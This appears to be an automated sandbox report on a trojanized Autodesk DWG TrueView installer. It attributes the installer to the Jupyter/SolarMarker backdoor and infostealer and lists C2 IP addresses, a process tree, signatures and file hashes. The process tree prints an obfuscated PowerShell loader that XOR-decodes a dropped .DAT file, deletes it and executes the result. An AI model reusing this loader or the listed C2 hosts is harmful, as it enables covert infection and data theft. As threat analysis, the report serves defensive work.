Analysis

  • max time kernel
    1829s
  • max time network
    1841s
  • platform
    windows10-1703_x64
  • resource
    win10-20231025-en
  • resource tags

    arch:x64arch:x86image:win10-20231025-enlocale:en-usos:windows10-1703-x64system
  • submitted
    07/11/2023, 15:01

General

  • Target

    installer-bundle.exe

  • Size

    317.1MB

  • MD5

    1977641039583fade1b370ab3c923e21

  • SHA1

    83e0825a04bb26863a5fbcf22e93df6df0478f05

  • SHA256

    5abc14737cb65a1e645bd5a2e3301b0e3e1e861a184034a6cc67ce57ee38f448

  • SHA512

    4d49651ddfddbb84e7c257e90790c802a02e54e1288920fae518c1a2f865914ba7a90ecc2a0a4f3106c2f8017ed32320a791a8e8b6eb685dd189bdf21437bee7

  • SSDEEP

    393216:XkG8OOkkGZ8Amek9iClXuv9PmcdbALPcOQe+F7oICw:X8OeGZ8A/AEhdbgNQe+xzCw

Malware Config

Extracted

Family

jupyter

C2

http://212.237.217.136

http://78.135.73.176

Signatures

  • Jupyter, SolarMarker

    Jupyter is a backdoor and infostealer first seen in mid 2020.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Drops startup file 1 IoCs
  • Executes dropped EXE 33 IoCs
  • Loads dropped DLL 20 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\installer-bundle.exe
    "C:\Users\Admin\AppData\Local\Temp\installer-bundle.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Users\Admin\AppData\Local\Temp\is-4I2F1.tmp\installer-bundle.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-4I2F1.tmp\installer-bundle.tmp" /SL5="$90210,331655856,821248,C:\Users\Admin\AppData\Local\Temp\installer-bundle.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3656
      • C:\Users\Admin\AppData\Local\Temp\is-I9KNJ.tmp\Create_Installer_PLC0000037_2024_English_WIN64.exe
        "C:\Users\Admin\AppData\Local\Temp\is-I9KNJ.tmp\Create_Installer_PLC0000037_2024_English_WIN64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4224
        • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\AdOdisDeployTool.exe
          .\AdOdisDeployTool.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of WriteProcessMemory
          PID:932
          • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\DownloadManager.exe
            C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\DownloadManager.exe -e --productname "Autodesk Custom Install Setup" --productversion 1.43.0.3
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2272
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar "C:/Autodesk/WI/3050002208245123779/pkg.spatialreference0.tar" -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:3536
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/9207306946704321420/pkg.spatialreference1.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4680
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2200
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar "C:/Autodesk/WI/10406766591433479998/pkg.dwgviewr0.tar" -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4092
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:5028
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/17316467854081705703/pkg.dwgviewr1.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4636
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/7470299403190662285/app.dwgviewr.en-us.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4620
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:3660
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/15546974791209447543/setup.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4896
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:3352
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/6027631620771072146/pkg.aspnet60x64.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2400
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4704
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:5500
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/17203124707632753182/pkg.webview2.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:5488
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/6591676873568496870/pkg.vcredist2012x64upd4.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:5704
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:5816
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/1494572948922085844/pkg.vcredist2012x86upd4.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:5896
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              PID:5908
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/3999043798214024207/pkg.vcredist2022x64.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              PID:6032
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              PID:6048
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/1914357826858827933/pkg.vcredist2022x86.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              PID:6112
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              PID:6132
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              PID:5124
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/2469690359634945771/pkg.dotnet48.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              PID:3432
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -txz "C:/Autodesk/WI/12932770935227688031/pkg.dotnet60.tar.xz" -bsp2 -so
              6⤵
              • Executes dropped EXE
              PID:5344
            • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp/7za.exe" x -ttar -si -aoa -bsp2 -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
              6⤵
              • Executes dropped EXE
              PID:5356
          • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\ADPClientService.exe
            C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\ADPClientService.exe -f C:\Users\Admin\AppData\Roaming\Autodesk\ADPSDK\JSON
            5⤵
            • Executes dropped EXE
            PID:1392
          • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
            "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe" x "C:\Users\Admin\AppData\Local\Temp\40ac-c11e-7327-6e54" -y -o"C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp"
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3688
          • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe
            "C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe" x "C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\ODIS\win_bootstrap.7z" -y -o"C:\Users\Admin\Downloads/Autodesk\DWG TrueView 2024 - English - (EN)\image\PLC0000037_2024_en-US"
            5⤵
            • Executes dropped EXE
            PID:12272
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmmANd "iEX([Text.EncOding]::uTF8.GetstrINg((({$f=[iO.fILE]::ReAdalLbYTes($ARGS[0]);(RM $ArGs[0]);rEtURN $f}.INVOKe('c:\UserS\AdmIN\APpDAta\local\tEmP\is-I9KNJ.TMp\..\C91DaD2A82c246EBa0954e756AF37aB0.DAT'))|%{$_ -bXor 'qoyVMsExRbkKAYNCHpItSufWzFiZPGnL'[$K++%32]})))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4460
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell"
          4⤵
          • Blocklisted process makes network request
          • Drops startup file
          • Modifies registry class
          PID:20268
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "powershell"
            5⤵
            • Blocklisted process makes network request
            PID:118024

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Autodesk\WI\10406766591433479998\pkg.dwgviewr0.tar.info

    Filesize

    241B

    MD5

    7f4122138a2d26111fc492997372679f

    SHA1

    100a728ccb3f87870a5bc6edec4540f580a58204

    SHA256

    f592b11292fc0d482c8a2334bd50398155eabd8a9a6ddcfe39dcbd9793cec385

    SHA512

    9743bce3fdb9666dbc9db7612796bdc19bff094da4de7e3230ef01e62616e5728e1980a379e48a710ff13660b5ff8ffbf29b9e4f36979e64260e9b0f42c055c0

  • C:\Autodesk\WI\3530149154685966638\win_bootstrap.7z

    Filesize

    11.2MB

    MD5

    d65b6861f0accc3418bba047ff247717

    SHA1

    fc3e7c68e7184ac5a0a05ae66998bdfbf276760f

    SHA256

    53574eba7ec1fa455d24b6caefce924f8b9ae05987af3bde79f42373d1708729

    SHA512

    cba8944e6f9e3d55c31fdecc56fc3df8cf243985379c9f1db5cc66f4f678974dbc76afdbb2a7fc8877ea0ea548468693830ba78fbecabf44b7db4af0faf6d091

  • C:\Users\Admin\AppData\Local\Temp\40ac-c11e-7327-6e54

    Filesize

    1KB

    MD5

    a317102abb01ce70a3515e1ccbb68964

    SHA1

    0fed9a24023ab1732506dc03304fcf389c4ed5c8

    SHA256

    735ce509b9ba30bc9360e889a9feb50152be1ff7ab99a16133e818b61b65a8e2

    SHA512

    c289bd39b429a7a3911383f29a517c896d5e61d29756c0246bc33fc49a4ba8608be8032b3f48b76ebcb414cc6ce0e967ccd93580a1e9ed7a0cc483ec90a13327

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe

    Filesize

    882KB

    MD5

    967bda956cfe0f397eb214e3ffb4d594

    SHA1

    34914610acbb576a80a58c88e7261c8599a009e0

    SHA256

    ed2a80000fc4484ee381e70e6900a21a9acc7c113f40b75a3b38d1f42c9c35eb

    SHA512

    20f1fa50d71ad529ed1f2114279cd29e18af0df3f690a4878428d3fca040c91daebb116faabeebae8091168e735f539408d6ccf64ac747a71b3b6b1320dabbdc

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\7za.exe

    Filesize

    882KB

    MD5

    967bda956cfe0f397eb214e3ffb4d594

    SHA1

    34914610acbb576a80a58c88e7261c8599a009e0

    SHA256

    ed2a80000fc4484ee381e70e6900a21a9acc7c113f40b75a3b38d1f42c9c35eb

    SHA512

    20f1fa50d71ad529ed1f2114279cd29e18af0df3f690a4878428d3fca040c91daebb116faabeebae8091168e735f539408d6ccf64ac747a71b3b6b1320dabbdc

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\ADPClientService.exe

    Filesize

    1.6MB

    MD5

    1f265857caf372dfce45e2ee90c77a4d

    SHA1

    c5a42eb404eec69c4b7ea990aea899d2cacd4d3c

    SHA256

    b9cd0216d7e8f30c1ad2cd8a2ba78d5a44d60c85cc9f50137a4d2965e042465a

    SHA512

    272f2c9390ad5c1650552fb9bdb918c3579fed6b26b315d4bae5eb277db70684270ad7c72466b0abe237909e196e98c529d0b37627765e0ec2a5b53d15688588

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\ADPClientService.exe

    Filesize

    1.6MB

    MD5

    1f265857caf372dfce45e2ee90c77a4d

    SHA1

    c5a42eb404eec69c4b7ea990aea899d2cacd4d3c

    SHA256

    b9cd0216d7e8f30c1ad2cd8a2ba78d5a44d60c85cc9f50137a4d2965e042465a

    SHA512

    272f2c9390ad5c1650552fb9bdb918c3579fed6b26b315d4bae5eb277db70684270ad7c72466b0abe237909e196e98c529d0b37627765e0ec2a5b53d15688588

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\AdHttpLib.dll

    Filesize

    9.7MB

    MD5

    c27e2f23bf08f8a9cc2ddbcfcf659fc8

    SHA1

    dc25ab43d693a5dfac7b2b78f7252ae9805ed1f5

    SHA256

    3d12ac56d7141cbf986162c1451d89f5a4a76296d1512e8866f0b34dd1b8992a

    SHA512

    73e7d11ab491d3cd7409d5fd7761d53702cf96cd36b72b23b4b61a0041738b14a83a350c997cbdf13023f16d28afc6108feb894d6ff90367d1857dec58cd0e93

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\AdOdisDeployTool.exe

    Filesize

    1.4MB

    MD5

    a4bb5620c0cf5387398789730877b7dd

    SHA1

    e42adb5c8e355728b5b751f6e6dc2756d4d68c08

    SHA256

    2f2b71c03cac596f0d93aaeedd9976e64fb4f5f4d06dfdf336778f0fd3e3edc0

    SHA512

    b70e073d5db65cd5379aef0a18427854efae0437a9846f0ac63b3baf92483d8e13be17aaa005b608faba5b875164070c2bd340d51eac90a14b0e446da4952097

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\AdOdisDeployTool.exe

    Filesize

    1.4MB

    MD5

    a4bb5620c0cf5387398789730877b7dd

    SHA1

    e42adb5c8e355728b5b751f6e6dc2756d4d68c08

    SHA256

    2f2b71c03cac596f0d93aaeedd9976e64fb4f5f4d06dfdf336778f0fd3e3edc0

    SHA512

    b70e073d5db65cd5379aef0a18427854efae0437a9846f0ac63b3baf92483d8e13be17aaa005b608faba5b875164070c2bd340d51eac90a14b0e446da4952097

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\AdpSDKCore.dll

    Filesize

    980KB

    MD5

    5c1be91bbf03d81965e78c3c510e58eb

    SHA1

    ee32c74cf0e5c140adfecadb58cca1c8177df110

    SHA256

    eedb981b710a0ad21a01aa3be0412a620b3526a80c85c647a950d800759bbe83

    SHA512

    7574a779ecda121c05c5314838206ff87bc436c6c1db1a7f744d933c641e91bd9f0244c08466ec99ddfb64b8e0d9da2f58d69c8111d0d9278a2a45bdc4f2787b

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\AdpSDKWrapper.dll

    Filesize

    477KB

    MD5

    08b6543d6f531f071b81d505eadf02de

    SHA1

    fac804b7043488140b2f18a340b324450eec4bc0

    SHA256

    f1134ccb8526b732492e5bcc685a1c1fafd86a11154c3be1457746aba27da638

    SHA512

    4688bc8105aee95a8f707e6aaf30e5daa9cb90b4fd96d23f938965543186b76c0c65f37ceed770b3115f1f61d9ef34fa401b29cc8120ce0e56e763dfa5bbd443

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\AdpUtil.dll

    Filesize

    1.2MB

    MD5

    a85c76c2b0a19625f52d69877688351c

    SHA1

    53ee121f9bbdcf0ade693420ad96d5cb60a5dbb3

    SHA256

    c47c1b3b47b1e39e2a64b897e5940b4893918f93777fd85d3cc4a22b61eec1b6

    SHA512

    377945d751dc854b788166c6e4777edda4872fffb8e8fb8d81d7226d685d9a064b9bdeb9e1d5bf78620c08c3234456c3bf2e9f0461aa6699aaf10b683126bb09

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\Collection.xml

    Filesize

    2KB

    MD5

    ccfb43f6bdf59a2f5af3b8bc50a8e1b7

    SHA1

    dbcba01cc5d6011cba7bcdf67ba70160c39c4ac6

    SHA256

    11df5920dac988fd5a4188c5d875674ea6fd60328f12455c10337fe6ddc26224

    SHA512

    12d1b50c273c78d4530292e3a8f5ac6503bc8609bcba1b29b89d06aafad3d44c788282686667121075e8a6794854f8a523fcb50218b6b8e0be22c3b62890f260

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\Download.dll

    Filesize

    2.6MB

    MD5

    be9937ec79e49d1df07936952c7de8f6

    SHA1

    fa1a6bc539bfd687274bf2111914d9e002d0d304

    SHA256

    9990929a01d9ca078ab7331cf1dfa440410cabfe6cb92fb449bcdd958b7c2421

    SHA512

    527034e7a90257194f816e3455d54df97515abee36b6f0e66618d4f509652125114f427ed5496165ee452d3523514cc56fa069ed5420fddc1d442fd29096e63b

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\DownloadManager.exe

    Filesize

    6.0MB

    MD5

    bdd3760e61a92283088a43e10f52a342

    SHA1

    cefea33f2a491295f25125d0f181b04a1166e8d9

    SHA256

    003aed3606119c9e3ae9a4ee39f70a90d1021d9c98219e927429f22251cdf23a

    SHA512

    d433240a476a1925de4455a07d72905da8277e26dbf2a3fe0b7dc4cbc85a4ad04d89d65f3e2adadb60735955cbf5ffedaf93d720e3dd47c656da669d58efc3cc

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\DownloadManager.exe

    Filesize

    6.0MB

    MD5

    bdd3760e61a92283088a43e10f52a342

    SHA1

    cefea33f2a491295f25125d0f181b04a1166e8d9

    SHA256

    003aed3606119c9e3ae9a4ee39f70a90d1021d9c98219e927429f22251cdf23a

    SHA512

    d433240a476a1925de4455a07d72905da8277e26dbf2a3fe0b7dc4cbc85a4ad04d89d65f3e2adadb60735955cbf5ffedaf93d720e3dd47c656da669d58efc3cc

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\ImageBuilder.dll

    Filesize

    2.8MB

    MD5

    2323b6f004a1dc0fcd4c4fb2cb6634bf

    SHA1

    0cc21286c706b89c60f2b577e41c2cd3c647921f

    SHA256

    f8ed568ac13eacbe0f914d54e723fa085fb3b607862be7ff2cfb8d9024d8ecb7

    SHA512

    31d0e6daf6ca9a7be2c230605b369b080b0c755ee5b761cee791f5b6bd8f36c20a9e76bba0e38a4ef2fd72bc5e73445d028ddb9bbd8626910bcfc23c8e074051

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\MSVCP140.dll

    Filesize

    612KB

    MD5

    2f443a41e00a370754a50cfc02c2e470

    SHA1

    0b812bdeebf71b2f8382fc115960dc83830201b5

    SHA256

    bdf1d095d1419e9ce49e774590ee092b1b673ca259c0126f21afe595b3e661eb

    SHA512

    15301c33835c67cdc0bd82e29d918411fb71df40ee073e43eeec96b85e94804e12df4354b02d73c185cca9b14349529a22d5aabd0feac41bbcbb9ae27273d039

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\MSVCP140_1.dll

    Filesize

    23KB

    MD5

    00bcbb58255d6cbd712e89a3dd0d1810

    SHA1

    f93d00a573a880e67c9f5c3d9530d4a1d2165e70

    SHA256

    e10fb192620193cb721516c30533f71ca6b2a4396b48f3858b571143e94aba31

    SHA512

    6c56fcbb229c4fb0e6f49219bd698f6720804a455b4dec5309706858491122628e6d1ab9e5f6f32004bd06faeb48aaf5ed434e8f87d113d3c984b8d00fba4013

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\MSVCP140_2.dll

    Filesize

    182KB

    MD5

    27816fb67fb85a331aaac2929d7d9c53

    SHA1

    8730fd669eeacad5325d3d4ba4e08e563fe7b504

    SHA256

    ee22b3403268cbac3f280f1a49a7fa285c0d01da601f6914d6fe6aac43068efa

    SHA512

    e3d0c7b7c2c564df482034e075f967115ca87b7eb9675cc61d741d27f6058e42835041f058d7fbb18573ea21a1fb1ba6abf41de81194128157473c0dffd04b7e

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\Manifest.dll

    Filesize

    1.5MB

    MD5

    0b59ada117337826a3b73ef6fedbcbfe

    SHA1

    5945aef574b10d4a70ef8233023c182e4b0cfb31

    SHA256

    dcbe0e4e80286f7e41642d1ebb77f45eb52ff9d7c6818c3b0b3e62c15871b743

    SHA512

    b06f521c077acdc22d7ac30a908f33c83cc28e76376abcb33fc402456892df6295443916d6f8f53c10c28ccef4bc5b066e92e2869473623c6acd4b38ba99c483

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\PLC0000037_2024_en-US\3rdParty\dotNetFramework\48\pkg.dotnet48.xml

    Filesize

    1KB

    MD5

    298c6d13fcd9df2c5bb488e97f050f63

    SHA1

    c17753d3fdbfedf6233bc8b34b8b9e7aa4c0ba11

    SHA256

    01abef8ccba6c2a050c79583c4ccddebc19dd20c97cee332061131f90f304fe8

    SHA512

    f9ad6b3e4bfe17897ebc9dbc137b405249523e2fed60bc4739a69787cb1f5a3b12bcd018d72d0868395eacacd1dfbc68658cb3644077a02f0b72c957ffded30c

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\PLC0000037_2024_en-US\3rdParty\x64\VCRedist\2012UPD4\pkg.vcredist2012x64upd4.xml

    Filesize

    2KB

    MD5

    644ec3ca582729a161bffd1799a19aed

    SHA1

    94416d73c18176fc356379711ad294dbe98d31fc

    SHA256

    72a86f7f1c6ab5369d3f8c2eb72c912e7bcce16cc54ace06e50950c1d689540d

    SHA512

    7fc17462e4ab17de6d7a62bb2361b9e0f831d5c04a706403d3699d6a6a4f27e19e83757a40b98749dbeebb4e1c1879806362c14b1055371c6b8387655f7f777c

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\PLC0000037_2024_en-US\3rdParty\x64\VCRedist\2022\pkg.vcredist2022x64.xml

    Filesize

    2KB

    MD5

    f83e14f78f23558e8d3b65e9aa607ebf

    SHA1

    f37c098567da26285da22db4ae793c625e47064b

    SHA256

    5120baed496eacde200e4d0d10684fea6d232f66643fc3f8f4e08bf8a2b5ffef

    SHA512

    bcd67c961e8e25f24abc89b7f493278ff59f13323c329403a0111d78a570981f333a6360b34be50906606dd50ff5899ab2634c29d84bbc208773d3852de56ad6

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\PLC0000037_2024_en-US\3rdParty\x64\WebView2\pkg.webview2.xml

    Filesize

    2KB

    MD5

    26d137de020c94f7b5d440ca5028a7a2

    SHA1

    1e54b59ffeea1955277d30c5f4800853866431f8

    SHA256

    3d96f82e313985308f197f1d76bee02eb39b82b6b05846b4bcfb839b09effe89

    SHA512

    eb43ed2fbcae319d8e4056d18270869045a464ec829da3940fa7fb76e67d81e8d02c710e3e3d1f0c807ef0f77b6e6ec6ff983d5943d4be96623171e339ee7e53

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\PLC0000037_2024_en-US\3rdParty\x64\aspNetCore\60\pkg.aspnet60x64.xml

    Filesize

    1KB

    MD5

    0af008140cf251908317db91edfce01e

    SHA1

    4129665fb09298a12d25f6f5ac322363fa269407

    SHA256

    854b9dfda62cbd4afc0f282147ba71d115364bebeed575fc9785a6089263b21a

    SHA512

    5fe9cb03ef19b680265eefe3eb9cae0d2b0a51b87090c443f99b6e88407b2820affcd817427619ebd69ee30d41bc3e038410118bb6d993b781277c36569cab12

  • C:\Users\Admin\AppData\Local\Temp\7zS34E6.tmp\PLC0000037_2024_en-US\3rdParty\x64\dotNet\60\pkg.dotnet60.xml

    Filesize

    2KB

    MD5

    07e19d45d2799c0c02a370cfdcb0ed6e

    SHA1

    6cf18512f7d39c213ccba2bc5a184d8beb0e6b50

    SHA256

